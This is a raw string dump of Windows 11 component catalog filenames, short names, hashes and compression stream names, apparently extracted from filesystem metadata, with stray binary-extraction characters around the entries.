jMicrosoft-Windows-Client-Desktop-Required-WOW64-Package00~31bf3856ad364e35~amd64~en-US~10.0.26100.7840.cat 1C0F77~1.CAT 1c0f7738a075afb09d0cbfce07f053024da63aca8bd2f2e1053a9e12b792903c.cat WofCompressedData $DSC WofCompressedData $DSC ?Package_7_for_KB5066128~31bf3856ad364e35~amd64~~10.0.9321.3.cat0 ?Package_7_for_KB5066128~31bf3856ad364e35~amd64~~10.0.9321.3.cat $DSC 1C2D4F~1.CAT 1c2d4fbb5bfdb1b7532877f1f864276835cb95086ec24829d5d89e6e11b05dff.cat WofCompressedData $DSC 1E5908~1.CAT 1e590834f4c1cc8dea19d0078ac589609cd074a7ff66c56d692b579697732335.cat WofCompressedData $DSC YMicrosoft-Windows-WebcamExperience-WOW64-Package~31bf3856ad364e35~amd64~~10.0.26100.1.cat YMicrosoft-Windows-WebcamExperience-WOW64-Package~31bf3856ad364e35~amd64~~10.0.26100.1.cat 1E7CE2~1.CAT 1e7ce2fb0025c4c212651c48702af540fcc3e802425773b929b8f1a6db3fdab3.cat WofCompressedData $DSC bMicrosoft-OneCore-Graphics-Required-Full-WOW64-Package~31bf3856ad364e35~amd64~~10.0.26100.7824.cat bMicrosoft-OneCore-Graphics-Required-Full-WOW64-Package~31bf3856ad364e35~amd64~~10.0.26100.7824.cat 23546F~1.CAT 23546f166206c6d1ea221ffc499ee3659d7051a4a08658c15fe4ce4e6cdde450.cat WofCompressedData $DSC iMicrosoft-OneCore-RemoteDesktopServices-Collaboration-Package~31bf3856ad364e35~amd64~~10.0.26100.1591.cat iMicrosoft-OneCore-RemoteDesktopServices-Collaboration-Package~31bf3856ad364e35~amd64~~10.0.26100.1591.cat 236323~1.CAT 236323834177e24f2a24ad2ae758e817f9b9b11943695ec0ad46d99a5a3bc653.cat WofCompressedData $DSC eMicrosoft-Windows-Client-Desktop-Required-WOW64-Package00~31bf3856ad364e35~amd64~~10.0.26100.7840.cat eMicrosoft-Windows-Client-Desktop-Required-WOW64-Package00~31bf3856ad364e35~amd64~~10.0.26100.7840.cat XMicrosoft-Windows-SMB1Deprecation-Group-Package~31bf3856ad364e35~amd64~~10.0.26100.1.cat XMicrosoft-Windows-SMB1Deprecation-Group-Package~31bf3856ad364e35~amd64~~10.0.26100.1.cat 250874~1.CAT 250874e32261638c1a4ac2bc7b0264ca4bb51f4842eb8afc86a09c5be6f697c4.cat WofCompressedData $DSC nMicrosoft-Windows-ApiSetSchemaExtension-HyperV-ComputeCore-Package~31bf3856ad364e35~amd64~~10.0.26100.7705.cat nMicrosoft-Windows-ApiSetSchemaExtension-HyperV-ComputeCore-Package~31bf3856ad364e35~amd64~~10.0.26100.7705.cat 253CDE~1.CAT 253cde4299c2ca291c052fc84870bfcc3e37a63d870f9ecf044eae05acfe76ac.cat WofCompressedData $DSC oMicrosoft-Windows-DirectoryServices-ADAM-Tools-Opt-merged-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1.cat0 oMicrosoft-Windows-DirectoryServices-ADAM-Tools-Opt-merged-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1.cat 2986C6~1.CAT 2986c629c47ceb925ee9ae7043608f04da5be15adb7d8740aef3887f55edaa44.cat WofCompressedData $DSC bMicrosoft-Windows-Client-Desktop-Required-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1742.cat bMicrosoft-Windows-Client-Desktop-Required-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1742.cat 29AF60~1.CAT 29af60af95bd089b75dcb76e0c3d483875ee9a9b6a204cd2c5ee43fd82a26fd4.cat WofCompressedData $DSC WofCompressedData eMicrosoft-Windows-DirectoryServices-ADAM-Client-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1.cat MI675F~1.CAT WofCompressedData BC3A0A~1.CAT bc3a0a65d7a676c4a408b345cf1e16897eec5d370dcb4778453c7edba5f6c365.cat WofCompressedData $DSC WofCompressedData hMicrosoft-Windows-DirectoryServices-ADAM-Client-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.7309.cat MIEC55~1.CAT WofCompressedData BCB01D~1.CAT bcb01da104564fc2cea6bb459308fa3ed06e108abc1dc96b7ab020583890ee54.cat WofCompressedData $DSC `Microsoft-Windows-DirectoryServices-ADAM-Client-Package~31bf3856ad364e35~amd64~~10.0.26100.1.cat `Microsoft-Windows-DirectoryServices-ADAM-Client-Package~31bf3856ad364e35~amd64~~10.0.26100.1.cat WofCompressedData BCFB12~1.CAT bcfb12a99f76d8717395cae4de1e64306f8a292e0868d0a212b1d726a23044e5.cat WofCompressedData $DSC WofCompressedData hMicrosoft-Windows-DirectoryServices-ADAM-Tools-Opt-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1.cat MIEF36~1.CAT WofCompressedData BCFB46~1.CAT bcfb464916fcf397f1bb048c328c544ae1c01469056c8f6520a0779878c6a96e.cat WofCompressedData $DSC cMicrosoft-Windows-Client-Desktop-Required-Package041820~31bf3856ad364e35~amd64~~10.0.26100.7840.cat aMicrosoft-Windows-Client-Desktop-Required-Package0418~31bf3856ad364e35~amd64~~10.0.26100.1742.cat aMicrosoft-Windows-Client-Desktop-Required-Package0418~31bf3856ad364e35~amd64~~10.0.26100.7840.cat aMicrosoft-Windows-Client-Desktop-Required-Package0419~31bf3856ad364e35~amd64~~10.0.26100.1591.cat aMicrosoft-Windows-Client-Desktop-Required-Package0419~31bf3856ad364e35~amd64~~10.0.26100.7824.cat _Microsoft-Windows-Client-Desktop-Required-Package04~31bf3856ad364e35~amd64~~10.0.26100.1742.cat _Microsoft-Windows-Client-Desktop-Required-Package04~31bf3856ad364e35~amd64~~10.0.26100.7840.cat bMicrosoft-Windows-Client-Desktop-Required-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1742.cat6 bMicrosoft-Windows-Client-Desktop-Required-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.7840.cat6 ]Microsoft-Windows-Client-Desktop-Required-Package~31bf3856ad364e35~amd64~~10.0.26100.1742.cat0. ]Microsoft-Windows-Client-Desktop-Required-Package~31bf3856ad364e35~amd64~~10.0.26100.7840.cat0. gMicrosoft-Windows-Client-Desktop-Required-WOW64-Package0010~31bf3856ad364e35~amd64~~10.0.26100.1742.cat gMicrosoft-Windows-Client-Desktop-Required-WOW64-Package0010~31bf3856ad364e35~amd64~~10.0.26100.7824.cat 1dfe PMicrosoft-OneCore-WebService-Package~31bf3856ad364e35~amd64~~10.0.26100.1150.catat IMicrosoft-OneCore-Wer-Package~31bf3856ad364e35~amd64~~10.0.26100.7705.cat eMicrosoft-Shared-Ink-Directory-Package-drivers-WOW64-Package~31bf3856ad364e35~wow64~~10.0.26100.1.cat hMicrosoft-UtilityVM-Containers-Setup-Shared-merged-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1.cat1.c KMicrosoft-Win2-MSXML6-Feature~31bf3856ad364e35~amd64~en-US~10.0.26100.1.cat BMicrosoft-Win4-Feature~31bf3856ad364e35~amd64~~10.0.26100.7840.catm dMicrosoft-Windows-All-Client-Ge-Beta-Version-EKB-Package~31bf3856ad364e35~amd64~~10.0.26100.7840.cat0.1 tMicrosoft-Windows-ApiSetSchemaExtension-HyperV-DeviceVirtualization-Package~31bf3856ad364e35~amd64~~10.0.26100.1.cat `Microsoft-Windows-AppManagement-AppV-WOW64-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1.cat ]Microsoft-Windows-AppManagement-UEV-WOW64-Package~31bf3856ad364e35~amd64~~10.0.26100.7705.cat76 pMicrosoft-Windows-AppServerClient-OptGroup-WOW64-merged-Package~31bf3856ad364e35~wow64~en-US~10.0.26100.7623.cat VMicrosoft-Windows-Basic-Http-Minio-Package~31bf3856ad364e35~amd64~~10.0.26100.1591.cat~ hMicrosoft-Windows-AppServerClient-OptGroup-WOW64-merged-Package~31bf3856ad364e35~wow64~~10.0.26100.1.cat kMicrosoft-Windows-AppServerClient-OptGroup-WOW64-merged-Package~31bf3856ad364e35~wow64~~10.0.26100.7623.cat fMicrosoft-Windows-AppServerClient-OptGroup-WOW64-Package~31bf3856ad364e35~wow64~en-US~10.0.26100.1.cat iMicrosoft-Windows-AppServerClient-OptGroup-WOW64-Package~31bf3856ad364e35~wow64~en-US~10.0.26100.7623.catic aMicrosoft-Windows-AppServerClient-OptGroup-WOW64-Package~31bf3856ad364e35~wow64~~10.0.26100.1.cat dMicrosoft-Windows-AppServerClient-OptGroup-WOW64-Package~31bf3856ad364e35~wow64~~10.0.26100.7623.cats-B [Microsoft-Windows-Basic-Http-Minio-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1301.cat [Microsoft-Windows-Basic-Http-Minio-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.7705.cat ~a55 jMicrosoft-Windows-Client-Desktop-Required-WOW64-Package00~31bf3856ad364e35~amd64~en-US~10.0.26100.7840.cat eMicrosoft-Windows-Client-Desktop-Required-WOW64-Package00~31bf3856ad364e35~amd64~~10.0.26100.1742.catca eMicrosoft-Windows-Client-Desktop-Required-WOW64-Package00~31bf3856ad364e35~amd64~~10.0.26100.7840.catca hMicrosoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1591.cat hMicrosoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.7840.cat cMicrosoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.26100.1742.cat cMicrosoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.26100.7840.cat ZMicrosoft-Windows-Client-EmbeddedExp-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1.cata ]Microsoft-Windows-Client-EmbeddedExp-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.3037.cat `Microsoft-Windows-Client-EmbeddedExp-WOW64-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1.cat ^Microsoft-Windows-Client-EmbeddedExp-WOW64-Package~31bf3856ad364e35~amd64~~10.0.26100.1591.cat ^Microsoft-Windows-Client-EmbeddedExp-WOW64-Package~31bf3856ad364e35~amd64~~10.0.26100.7309.cat \Microsoft-Windows-Client-Features-Package00~31bf3856ad364e35~amd64~en-US~10.0.26100.1742.cat \Microsoft-Windows-Client-Features-Package00~31bf3856ad364e35~amd64~en-US~10.0.26100.4768.cat YMicrosoft-Windows-Client-Features-Package01~31bf3856ad364e35~amd64~en-US~10.0.26100.1.catcaR WMicrosoft-Windows-Client-Features-Package05~31bf3856ad364e35~amd64~~10.0.26100.7824.cat$ WMicrosoft-Windows-Client-Features-Package09~31bf3856ad364e35~amd64~~10.0.26100.1742.catw ]Microsoft-Windows-Client-Features-WOW64-Package00~31bf3856ad364e35~amd64~~10.0.26100.7705.cat11 `Microsoft-Windows-Client-Features-WOW64-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.7705.cat cMicrosoft-Windows-Client-Optional-Features-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.7705.cat lMicrosoft-Windows-ClientForNFS-Infrastructure-OptGroup-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1.cat cMicrosoft-Windows-Common-RegulatedPackages-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.7309.cat WMicrosoft-Windows-Composition-WOW64-Package~31bf3856ad364e35~amd64~~10.0.26100.7705.catb XMicrosoft-Windows-Container-Policy-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1.cat lMicrosoft-Windows-Container-Professional-Payload-Wrapper-Package~31bf3856ad364e35~amd64~~10.0.26100.7824.cat mMicrosoft-Windows-CoreSystem-BootableSKU-Drivers-merged-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1.cat jMicrosoft-Windows-CoreSystem-BootableSKU-Winlogon-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.6725.cat ZMicrosoft-Windows-CoreSystem-CredSSP-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1.cat0 hMicrosoft-Windows-Multimedia-RestrictedCodecs-merged-Package~31bf3856ad364e35~amd64~~10.0.26100.7705.cat50.h iMicrosoft-Windows-Multimedia-RestrictedCodecs-WOW64-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1.cat SMicrosoft-Windows-NetFx-AutoNgenEnable.3.5~31bf3856ad364e35~amd64~~10.0.26100.1.cat ZMicrosoft-Windows-NetFx-Shared-WCF-MsmqActivation~31bf3856ad364e35~amd64~~10.0.26100.1.cat RMicrosoft-Windows-NetFx4-US-OC-Package~31bf3856ad364e35~amd64~~10.0.26100.4202.catt3 ^Microsoft-Windows-Network-Foundation-WOW64-Package~31bf3856ad364e35~amd64~~10.0.26100.7705.cat gMicrosoft-Windows-NetworkDiagnostics-DirectAccessEntry-Package~31bf3856ad364e35~amd64~~10.0.26100.1.cat SMicrosoft-Windows-NFS-ClientSKU-Package~31bf3856ad364e35~amd64~~10.0.26100.1150.cat eMicrosoft-Windows-Notepad-System-FoD-Package-Wrapper~31bf3856ad364e35~amd64~en-US~10.0.26100.7824.cat XMicrosoft-Windows-Notepad-System-FoD-Package~31bf3856ad364e35~wow64~~10.0.26100.7824.catat1 ZMicrosoft-Windows-OfflineFiles-WOW64-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1.cat1^ hMicrosoft-Windows-OneCore-DeviceAssociationFramework-Package~31bf3856ad364e35~amd64~~10.0.26100.1591.cat RMicrosoft-Windows-OutlookPWA-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1.cat MMicrosoft-Windows-OutlookPWA-Package~31bf3856ad364e35~amd64~~10.0.26100.1.catmd SMicrosoft-Windows-PAW-Feature-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1.cat QMicrosoft-Windows-PAW-Feature-Package~31bf3856ad364e35~amd64~~10.0.26100.1150.catt QMicrosoft-Windows-PAW-Feature-Package~31bf3856ad364e35~amd64~~10.0.26100.7623.catt RMicrosoft-Windows-PAW-merged-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1.cat MMicrosoft-Windows-PAW-merged-Package~31bf3856ad364e35~amd64~~10.0.26100.1.catmd KMicrosoft-Windows-PAW-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1.cat IMicrosoft-Windows-PAW-Package~31bf3856ad364e35~amd64~~10.0.26100.1150.cat00 IMicrosoft-Windows-PAW-Package~31bf3856ad364e35~amd64~~10.0.26100.7623.cat00 SMicrosoft-Windows-PEAuth-OneCore-Package~31bf3856ad364e35~amd64~~10.0.26100.268.cat TMicrosoft-Windows-PEAuth-OneCore-Package~31bf3856ad364e35~amd64~~10.0.26100.7705.cat100 ]Microsoft-Windows-PeerDist-Client-Group-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1.cat [Microsoft-Windows-PeerDist-Client-Group-Package~31bf3856ad364e35~amd64~~10.0.26100.1591.cat [Microsoft-Windows-PeerDist-Client-Group-Package~31bf3856ad364e35~amd64~~10.0.26100.7705.cat naoo fMicrosoft-Windows-Client-Desktop-Required-Package0110~31bf3856ad364e35~amd64~en-US~10.0.26100.1742.cat fMicrosoft-Windows-Client-Desktop-Required-Package0110~31bf3856ad364e35~amd64~en-US~10.0.26100.7705.cat fMicrosoft-Windows-Client-Desktop-Required-Package0111~31bf3856ad364e35~amd64~en-US~10.0.26100.1591.cata fMicrosoft-Windows-Client-Desktop-Required-Package0111~31bf3856ad364e35~amd64~en-US~10.0.26100.7840.cata hMicrosoft-Windows-Client-Desktop-Required-Package011220~31bf3856ad364e35~amd64~en-US~10.0.26100.4768.cat hMicrosoft-Windows-Client-Desktop-Required-Package011221~31bf3856ad364e35~amd64~en-US~10.0.26100.7019.cat fMicrosoft-Windows-Client-Desktop-Required-Package0112~31bf3856ad364e35~amd64~en-US~10.0.26100.1591.cat fMicrosoft-Windows-Client-Desktop-Required-Package0112~31bf3856ad364e35~amd64~en-US~10.0.26100.7840.cat hMicrosoft-Windows-Client-Desktop-Required-Package011320~31bf3856ad364e35~amd64~en-US~10.0.26100.7019.cat fMicrosoft-Windows-Client-Desktop-Required-Package0113~31bf3856ad364e35~amd64~en-US~10.0.26100.7840.cat _Microsoft-Windows-Client-Desktop-Required-Package02~31bf3856ad364e35~amd64~~10.0.26100.1742.cat _Microsoft-Windows-Client-Desktop-Required-Package02~31bf3856ad364e35~amd64~~10.0.26100.7840.cat _Microsoft-Windows-Client-Desktop-Required-Package03~31bf3856ad364e35~amd64~~10.0.26100.1591.cat _Microsoft-Windows-Client-Desktop-Required-Package03~31bf3856ad364e35~amd64~~10.0.26100.7705.cat rMicrosoft-Windows-UpdateTargeting-ClientOS-Ge-Beta-Version-EKB-Package~31bf3856ad364e35~amd64~~10.0.26100.7840.cat rMicrosoft-Windows-UpdateTargeting-ClientOS-Ge-Beta-Version-EKB-Package~31bf3856ad364e35~amd64~~10.0.26100.7840.cat `Microsoft-Windows-CoreSystem-XmlLite-WOW64-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1.cat `Microsoft-Windows-CoreSystem-XmlLite-WOW64-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1.cat dMicrosoft-Windows-Client-Desktop-Required-Package00~31bf3856ad364e35~amd64~en-US~10.0.26100.7840.cat dMicrosoft-Windows-Client-Desktop-Required-Package00~31bf3856ad364e35~amd64~en-US~10.0.26100.7840.cat gMicrosoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.26100.1591.cat0 gMicrosoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.26100.1591.cat WofCompressedData $DSC ?Package_5_for_KB5066128~31bf3856ad364e35~amd64~~10.0.9321.3.cat0 ?Package_5_for_KB5066128~31bf3856ad364e35~amd64~~10.0.9321.3.cat $DSC aMicrosoft-Windows-Client-Desktop-Required-Package0416~31bf3856ad364e35~amd64~~10.0.26100.7824.cat aMicrosoft-Windows-Client-Desktop-Required-Package0416~31bf3856ad364e35~amd64~~10.0.26100.7824.cat \Microsoft-OneCore-Graphics-Required-Full-Package~31bf3856ad364e35~amd64~~10.0.26100.1742.cat \Microsoft-OneCore-Graphics-Required-Full-Package~31bf3856ad364e35~amd64~~10.0.26100.1742.cat XMicrosoft-Windows-CoreSystem-XmlLite-Package~31bf3856ad364e35~amd64~~10.0.26100.1150.cat XMicrosoft-Windows-CoreSystem-XmlLite-Package~31bf3856ad364e35~amd64~~10.0.26100.1150.cat S-1-5-~1.PCK S-1-5-21-3914889805-4071901059-918772286-1001.pckgdep \Microsoft-Windows-NFS-ClientCore-D-Opt-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1.cat \Microsoft-Windows-NFS-ClientCore-D-Opt-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1.cat bMicrosoft-Windows-SecureStartup-Subsystem-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.7019.cat bMicrosoft-Windows-SecureStartup-Subsystem-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.7019.cat WofCompressedData $DSC RMicrosoft-Windows-NetFx4-US-OC-Package~31bf3856ad364e35~amd64~~10.0.26100.4202.cat RMicrosoft-Windows-NetFx4-US-OC-Package~31bf3856ad364e35~amd64~~10.0.26100.4202.cat WofCompressedData $DSC LMicrosoft-Windows-Defrag-UI-Package~31bf3856ad364e35~amd64~~10.0.26100.1.cat LMicrosoft-Windows-Defrag-UI-Package~31bf3856ad364e35~amd64~~10.0.26100.1.cat XMicrosoft-OneCore-FileSystem-Support-Package~31bf3856ad364e35~amd64~~10.0.26100.7019.cat XMicrosoft-OneCore-FileSystem-Support-Package~31bf3856ad364e35~amd64~~10.0.26100.7019.cat jMicrosoft-Windows-Client-Desktop-Required-WOW64-Package00~31bf3856ad364e35~amd64~en-US~10.0.26100.1591.cat jMicrosoft-Windows-Client-Desktop-Required-WOW64-Package00~31bf3856ad364e35~amd64~en-US~10.0.26100.1591.cat ^Microsoft-OneCore-Connectivity-UsbFunction-Package~31bf3856ad364e35~amd64~~10.0.26100.4202.cat ^Microsoft-OneCore-Connectivity-UsbFunction-Package~31bf3856ad364e35~amd64~~10.0.26100.4202.cat $DSC dMicrosoft-Windows-TerminalServices-UsbRedirector-Package~31bf3856ad364e35~amd64~~10.0.26100.1150.cat dMicrosoft-Windows-TerminalServices-UsbRedirector-Package~31bf3856ad364e35~amd64~~10.0.26100.1150.cat bMicrosoft-Windows-Client-Desktop-Required-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.7840.cat bMicrosoft-Windows-Client-Desktop-Required-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.7840.cat _Microsoft-OneCore-Containers-Guest-Shared-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1.cat0 _Microsoft-OneCore-Containers-Guest-Shared-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1.cat wMicrosoft-Windows-ApiSetSchemaExtension-HyperV-DeviceVirtualization-Package~31bf3856ad364e35~amd64~~10.0.26100.7705.cat0 wMicrosoft-Windows-ApiSetSchemaExtension-HyperV-DeviceVirtualization-Package~31bf3856ad364e35~amd64~~10.0.26100.7705.cat 7CA410~1.CAT 7ca41004e7c6725f591247e66f2296ad3dbd0b9b580c028dfb31311d8757016f.cat WofCompressedData $DSC cMicrosoft-OneCore-FirmwareUpdate-StorFwUpdate-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1.cat0 cMicrosoft-OneCore-FirmwareUpdate-StorFwUpdate-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1.cat _Microsoft-Windows-Client-Desktop-Required-Package00~31bf3856ad364e35~amd64~~10.0.26100.1742.cat0 _Microsoft-Windows-Client-Desktop-Required-Package00~31bf3856ad364e35~amd64~~10.0.26100.1742.cat ^HyperV-Compute-Host-VirtualMachines-merged-Package~31bf3856ad364e35~amd64~~10.0.26100.1742.cat ^HyperV-Compute-Host-VirtualMachines-merged-Package~31bf3856ad364e35~amd64~~10.0.26100.1742.cat ^Microsoft-Windows-CoreSystem-WINNLS-Core-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1.cat ^Microsoft-Windows-CoreSystem-WINNLS-Core-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1.cat aMicrosoft-Windows-Client-Desktop-Required-Package0418~31bf3856ad364e35~amd64~~10.0.26100.1742.cat aMicrosoft-Windows-Client-Desktop-Required-Package0418~31bf3856ad364e35~amd64~~10.0.26100.1742.cat ]Microsoft-OneCore-IsolatedUserMode-merged-Package~31bf3856ad364e35~amd64~~10.0.26100.7840.cat ]Microsoft-OneCore-IsolatedUserMode-merged-Package~31bf3856ad364e35~amd64~~10.0.26100.7840.cat _Microsoft-OneCore-Connectivity-UsbHost-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.4768.cat0 _Microsoft-OneCore-Connectivity-UsbHost-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.4768.cat \Microsoft-Windows-Multimedia-MF-merged-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1.cat \Microsoft-Windows-Multimedia-MF-merged-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1.cat aMicrosoft-Windows-PeerDist-Client-Group-WOW64-Package~31bf3856ad364e35~amd64~~10.0.26100.1591.cat aMicrosoft-Windows-PeerDist-Client-Group-WOW64-Package~31bf3856ad364e35~amd64~~10.0.26100.1591.cat [Microsoft-Windows-PeerDist-Client-Group-Package~31bf3856ad364e35~amd64~~10.0.26100.7705.cat0 [Microsoft-Windows-PeerDist-Client-Group-Package~31bf3856ad364e35~amd64~~10.0.26100.7705.cat $DSC VMicrosoft-Windows-TrustedExecution-Package~31bf3856ad364e35~amd64~~10.0.26100.1150.cat VMicrosoft-Windows-TrustedExecution-Package~31bf3856ad364e35~amd64~~10.0.26100.1150.cat [Microsoft-Windows-InternetExplorer-Package-ua~31bf3856ad364e35~amd64~en-US~10.0.26100.1.cat0 [Microsoft-Windows-InternetExplorer-Package-ua~31bf3856ad364e35~amd64~en-US~10.0.26100.1.cat ZMicrosoft-Windows-CoreSystem-DISM-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.7019.cat ZMicrosoft-Windows-CoreSystem-DISM-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.7019.cat _Microsoft-Windows-Client-Desktop-Required-Package00~31bf3856ad364e35~amd64~~10.0.26100.7840.cat0 _Microsoft-Windows-Client-Desktop-Required-Package00~31bf3856ad364e35~amd64~~10.0.26100.7840.cat WofCompressedData $DSC QHyperV-VmBus-Host-merged-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.4066.cat QHyperV-VmBus-Host-merged-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.4066.cat 7D00FC~1.CAT 7d00fc666f7993adcd4cb451233c65377b5e9d30e9fc92b38e7e2c0a233a76ed.cat WofCompressedData $DSC kMicrosoft-Windows-CoreSystem-BootableSKU-Drivers-merged-Package~31bf3856ad364e35~amd64~~10.0.26100.1591.cat0 kMicrosoft-Windows-CoreSystem-BootableSKU-Drivers-merged-Package~31bf3856ad364e35~amd64~~10.0.26100.1591.cat 7D2F24~1.CAT 7d2f242c69b0fd627903298843b5ffa746da5afc0c1323eeac51d83cf2447d35.cat WofCompressedData $DSC bMicrosoft-Windows-Printing-LPDPrintService-Opt-Package~31bf3856ad364e35~amd64~~10.0.26100.7309.cat bMicrosoft-Windows-Printing-LPDPrintService-Opt-Package~31bf3856ad364e35~amd64~~10.0.26100.7309.cat WWindows-ClientCore-Win32Bridge-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1591.cat0 WWindows-ClientCore-Win32Bridge-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1591.cat $DSC 801D2C~1.CAT 801d2c6e0eab04cab0fc3954357cd162965d011a861c0256d2782b8f3fc0e794.cat WofCompressedData $DSC WofCompressedData $DSC LHyperV-IsolatedVm-merged-Package~31bf3856ad364e35~amd64~~10.0.26100.1742.cat LHyperV-IsolatedVm-merged-Package~31bf3856ad364e35~amd64~~10.0.26100.1742.cat 803D22~1.CAT 803d220b5ecd0aceca4a8ed1bb43eef3fcecf71f5b98f6585e96df48969852ce.cat WofCompressedData $DSC cMicrosoft-Windows-Kernel-Package-WOW64-CPU-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.3037.cat0 cMicrosoft-Windows-Kernel-Package-WOW64-CPU-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.3037.cat 809D97~1.CAT 809d97c5172323d985025c42e6ba2cd09fa2c904af073e258f4047cac0637f7d.cat WofCompressedData $DSC iMicrosoft-Windows-Kernel-Package-DriverVerifier-Xdv-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1.cat iMicrosoft-Windows-Kernel-Package-DriverVerifier-Xdv-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1.cat 80B4F2~1.CAT 80b4f2c80c0098ae60fc7e98f46762db90a5912932c2a732a13f8756b63aa730.cat WofCompressedData $DSC $DSC WMicrosoft-Windows-NetAdapterCx-UMDF-Package~31bf3856ad364e35~amd64~~10.0.26100.1591.cat0 WMicrosoft-Windows-NetAdapterCx-UMDF-Package~31bf3856ad364e35~amd64~~10.0.26100.1591.cat 81EAEE~1.CAT 81eaeee6c6ded8abc9d018085dc347c22122315f980dfa763fa92e6f0ad9201c.cat $DSC fMicrosoft-Windows-Client-Desktop-Required-Package0111~31bf3856ad364e35~amd64~en-US~10.0.26100.7840.cat fMicrosoft-Windows-Client-Desktop-Required-Package0111~31bf3856ad364e35~amd64~en-US~10.0.26100.7840.cat 81F254~1.CAT 81f2541ab30421e656293e56652b9c2437c5d49a4b09cd04997cccd403c919d3.cat WofCompressedData $DSC ^Microsoft-Windows-MediaPlayer-Opt-merged-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1.cat ^Microsoft-Windows-MediaPlayer-Opt-merged-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1.cat 837035~1.CAT 8370355cc9e756b4e3401bcc54f980cca02509643ce9076a16b6019a173613e2.cat WofCompressedData $DSC [Microsoft-Windows-Printing-PremiumTools-Package~31bf3856ad364e35~amd64~~10.0.26100.7705.cat0 [Microsoft-Windows-Printing-PremiumTools-Package~31bf3856ad364e35~amd64~~10.0.26100.7705.cat 8387BA~1.CAT 8387baa8e7eddecacc52e68ffd78e998f13430a2caf0357393abd5db9ba02b88.cat WofCompressedData $DSC WofCompressedData bHyperV-Compute-System-AzureVirtualMachine-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.5074.cat HY383E~1.CAT WofCompressedData 85C5C6~1.CAT 85c5c658c20382f2977ea5a54410feddec91b93d820f5e34d241892f50e83c9f.cat $DSC WofCompressedData ]HyperV-Compute-System-AzureVirtualMachine-Package~31bf3856ad364e35~amd64~~10.0.26100.1742.cat HYEEC2~1.CAT WofCompressedData 85E6A0~1.CAT 85e6a0fe0eeeccfb90e71bda4ced5426adab66a72d5d0721cd01eccc893c012c.cat WofCompressedData $DSC 87A9B8~1.CAT 87a9b856bf800a1c5bfb98a6f56f4b463eed10f3cce40b8b5c298f0de660fd58.cat WofCompressedData $DSC JHyperV-Guest-KernelInt-Package~31bf3856ad364e35~amd64~~10.0.26100.1150.cat HyperV-Guest-KernelInt-Package~31bf3856ad364e35~amd64~~10.0.26100.1150.cat HYDA61~1.CAT WofCompressedData 87AC43~1.CAT 87ac434bec526700995ca77016a0722ecd6c068b1b3a040b3c1fd51eaa139ca6.cat WofCompressedData $DSC JHyperV-Guest-KernelInt-Package~31bf3856ad364e35~amd64~~10.0.26100.7705.cat HyperV-Guest-KernelInt-Package~31bf3856ad364e35~amd64~~10.0.26100.7705.cat HYC196~1.CAT WofCompressedData TE2B2C~1.JSO 